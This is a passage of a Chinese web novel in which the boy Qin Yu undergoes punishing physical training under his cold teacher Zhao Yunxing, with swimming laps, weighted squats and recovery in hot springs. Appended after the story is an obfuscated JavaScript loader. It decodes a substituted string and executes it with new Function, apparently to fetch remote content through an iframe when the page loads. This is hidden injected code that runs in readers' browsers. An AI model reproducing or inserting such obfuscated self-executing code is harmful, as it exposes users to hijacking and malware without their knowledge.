谈了近乎一个时辰,秦羽完全明白自己老师的训练方法的原理,同时秦羽心中也愈加佩服赵云兴,他完全能够判定出,如果按照赵云兴的锻炼方法,绝对是锻炼出一个完美的身体。
力量、度、灵敏、柔韧性等等完美协调。
工欲善其事,必先利其器。
锻炼出一个完美的身体,而后再训练攻击、杀人以及其他手段。有了好钢还担心练不成好刀么?
而后,训练便开始了……
……
东岚山云雾山庄数百米之外的一美丽的圆湖旁,赵云兴站在湖旁,在他的旁边有一机械摆钟,这机械摆钟是精于机关之道的高手造出来的,因为制造过于繁琐,只有贵族人家才会有。
摆钟分二十四个小时,十二个时辰,每个小时六十分钟。
“快,游快点!”赵云兴冷然说道。
在圆湖中正有一道身形不断地游着,正是秦羽,按照赵云兴的说法,游泳虽然普通,却是培养身体协调性以及柔韧性的非常好的一种方法,所以秦羽被命令在圆湖中不断地游着。
“好想停下来啊。”秦羽咬着牙,不断的挥着手臂,双腿也协调地拍击着水,他已经游了十个来回了,这圆湖一个来回足足有两百米,十个来回就是两千米。
秦羽过去经常在西苑中泡温泉,温泉中央也很深,秦羽经常在其中游泳,游泳技术很高,可是如此不停地游,而且在规定时间内游完,对秦羽来说,却是太痛苦了。
腿酸,手臂酸,头脑胀。
“父王!”一想到自己父王的笑容,秦羽便咬牙继续坚持着,即使已经到了极限,可是他依旧坚持着。
“快,再快一点。”赵云兴没有丝毫感情的冷漠催促道。
秦羽眼中有着一丝狠色,死死盯着前方,听到赵云兴的声音,秦羽心中不断要求自己加快,就在这个时候,秦羽胀的脑袋陡然稍微一阵轻松,双臂和双腿似乎再次有了力气。
秦羽清晰的感受到,从身体之中竟然又产生了一股力气,这股力气不知道从哪里来,却自然产生了。秦羽眼中有这一丝兴奋。
越极限。
他享受这样的感觉,每一次越生理极限,已经没有了力气的身体却从身体深处再次产生一道力量,他甚至于感受到身体的变化,那是身体深藏在深处的潜能。
“好,慢了三分钟。”赵云兴看了那机械摆钟,淡然说道。
秦羽艰难的上了岸边,此刻他已经动了不了,特别是双臂根本无法动,腿部也是酸的厉害,秦羽就这么喘息着,尽力的呼吸着清新的空气,努力让自己快点恢复。
“你慢了三分钟,现在就罚你从这跑回西苑,然后在西苑练功场空手深蹲一百个。”赵云兴直接说出了命令。
“从这跑回西苑?还……”秦羽气喘地说不出话来,难以置信看着赵云兴,此刻他腿算的根本都走不了路了,这赵云兴竟然还让他跑回去,还来一百个深蹲。
“你有意见?”赵云兴平淡反问道。
“我有意见,越人体极限是可以锻炼身体,可是,如果过的太多,我的身体会跨的,我感觉已经到了极限,现在不能再继续锻炼了,老师,刚才游泳的时候,我已经连续两次感受到那种极限了,我感到自己自己无法再经历一次极限了。”秦羽直直看着赵云兴,直接说道。
赵云兴淡然道:“我是老师,我的命令你必须服从,如果你感到我的训练有问题,不想进行训练,我可以立即离开。你这样懒惰的弟子,我可不在乎。”
秦羽脸色微微一变。
而后秦羽看了赵云兴一眼,深吸一口气,努力的催动着双腿跑了起来,第一步跑的时候腿涨得要命,酸的厉害,可是跑了一会儿,腿反而有有力气了。
“咦,怎么回事?”秦羽心中震惊。
后面看着的赵云兴嘴角有着一丝笑意:“这个小子,难道我还判断不出你真正的极限?游泳的时候你手臂用力可是比腿大多了,腿肌肉本身比手臂达,手臂都坚持下来了,腿部至少还可以进行一组训练。”
一想到刚才秦羽责问自己的模样,赵云兴心中便笑了起来。
“这个小子。”笑着摇了摇头,赵云兴跟在秦羽身后。
……
傍晚,西苑温泉中。
经历了一天的极限训练,此刻秦羽躺在温泉中,感受着肌肉的阵阵酸麻,甚至于可以感觉到肌肉的缓缓变化。秦羽一脸的享受表情,极富深情地双臂展开高声喊道:“啊,天啊,这才是真正的享受啊!!!”
小黑也挥着翅膀在一旁不断扇着,似乎很是高兴。
冷峻着脸的赵云兴走了过来,站在温泉旁,道:“这云雾山庄的温泉极有疗效,对你身体很有好处。还有,等你泡了三个时辰后,你就去翁老先生那,在那涂抹一些药酒,吸收点药酒药效,对你身体很有好处。”
“恩,知道啦……”秦羽此刻很快活,随意挥手道。
赵云兴也不在意,转头就走。
……
练功场上,赵云兴笔直站在那,秦羽也是早早就到了,这一次秦羽可没有迟到,说来奇怪,虽然昨日训练达到了极限,可是经过温泉疗效,再加上药酒的功效,今天竟然生龙活虎。
“外功能够修炼到极限的,怪不得大多是家庭殷实的富家权贵子弟。”赵云兴心中感叹道。
修炼外功,不断越*极限,可是身体并不只是单单产生力量,它同样还需要吸收能量,富家子弟,可以吃大补、吃专门的药膳,配珍贵药酒,而且还可以请医道高手帮忙按摩解除身体疲劳。
有如此条件,锻炼起外功自然不同了。
“现在,我们进行力量训练,手持铁棒,进行深蹲,先一百个。”赵云兴随意指了一根铁棒,那铁棒不算太粗,估计也就十斤左右,对于成年人自然轻松,可是对于才八岁的秦羽,就不同了。
“哼!”
秦羽双臂一用力,一口气将铁棒举到胸口处,还嘻嘻一笑道:“老师,很轻松嘛。”
“做完一百个再说。”赵云兴冷漠道。
当即秦羽开始深蹲了起来,一开始轻松的很,不就是笔直站起,再蹲下么?可是接连做了三十个以后,秦羽就感到双腿酸了,再坚持十个,脚底板一下就肌肉抽筋了。
一百个?
才四十个秦羽就难受了。
“呼!”深呼吸一口气,稍微停歇霎那,脚板的肌肉恢复了下来,秦羽再次继续深蹲,可是越到后面越是痛苦,秦羽眼中闪烁着狠光,不断咬牙坚持着。
一口气坚持到七十个,秦羽甚至于感到腿部再也站不起来了。
“喝!”
猛然一声低喝,腰板一用力,竟然硬是站了起来,秦羽眼中竟然有着一丝光芒在燃烧,那是兴奋的光芒。
“喝!”
又是一声大喝,秦羽再次站了起来。
一次次大喝,一次次努力挤出腿部深藏的每一分力量,腿部渐渐热,一股股力量从肌肉深处涌现出来,就这么的,几乎奇迹的,随着秦羽最后一声大喝,他竟然完成了第一百个深蹲!
秦羽虽然腿部虚浮,仿佛时刻要倒下,可是他眼中有的却是兴奋与燃烧的疯狂。
一旁的赵云兴暗中点头。
“现在进行指力训练。”赵云兴依旧表情冷峻,根本不给秦羽丝毫休息时间,直接命令道。这赵云兴其实训练计划也是设计好的,此刻秦羽最累的是腿部,手上却还没有到极限,赵云兴便进行指力训练。
“老师,指力怎么训练啊?”秦羽虽然腿部都用不上力气,可是依旧对着赵云兴笑嘻嘻问道。
秦羽越来越喜欢那种越极限的美妙感觉,在越极限的霎那,他感受了一种生命的**,对,就是**,**的燃烧,极限的疯狂。那种感觉很美妙。
(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();